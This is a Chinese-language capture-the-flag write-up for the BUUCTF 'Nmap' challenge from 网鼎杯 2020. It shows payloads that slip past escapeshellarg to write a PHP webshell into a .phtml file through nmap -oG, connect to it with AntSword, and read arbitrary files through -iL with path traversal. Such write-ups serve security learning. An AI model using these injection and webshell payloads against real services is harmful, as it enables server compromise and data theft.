BUUCTF [网鼎杯 2020 朱雀组] Nmap

BUUCTF [网鼎杯 2020 朱雀组] Nmap

考点nmap -oG 写入文件-iL读取扫描文件escapeshellarg绕过(参考链接)
解法:将nmap扫描结果写入文件时加入一句话木马,需要绕过escapeshellarg()函数

启动环境:

类似Nmap的功能,一个输入命令行,提示输入ip地址,尝试输入正常内容:127.0.0.1
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第1张图片
可以得到回显结果,猜测是命令执行,尝试使用|分隔地址与命令

127.0.0.1 | ls

BUUCTF [网鼎杯 2020 朱雀组] Nmap_第2张图片
可以看到|\转义,尝试使用;
在这里插入图片描述
提示地址错误,尝试了一些其他的命令执行,也无法实现,参考BUUCTF [BUUCTF 2018] Online Tool

直接放入Payload:

' $_POST["hack"]);?> -oG hack.php '

在这里插入图片描述
应该是做了什么限制,尝试修改文件名后缀为phtml

' $_POST["hack"]);?> -oG hack.phtml '

在这里插入图片描述
加上扫描的地址:127.0.0.1

127.0.0.1 | ' $_POST["hack"]);?> -oG hack.phtml'

得扫描结果:
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第3张图片
查看扫描列表:
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第4张图片
查看写入的文件,即访问hack.phtml
在这里插入图片描述
成功写入,尝试用中国蚁剑连接一句话木马:
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第5张图片
连接成功,在根目录找到flag
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第6张图片
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第7张图片
与BUUCTF [BUUCTF 2018] Online Tool类似原理,增加了php文件限制,以其他后缀绕过即可。

查看了ChaMd5安全团队给出的writeup后,可以使用-iL参数实现Nmap读取任意文件:

127.0.0.1' -iL ../../../../flag -o 1

BUUCTF [网鼎杯 2020 朱雀组] Nmap_第8张图片
部分源代码:
BUUCTF [网鼎杯 2020 朱雀组] Nmap_第9张图片

你可能感兴趣的:(BUUCTF,WEB,Writeup,BUUCTF,网鼎杯,2020,朱雀组,Nmap,writeup,CTF)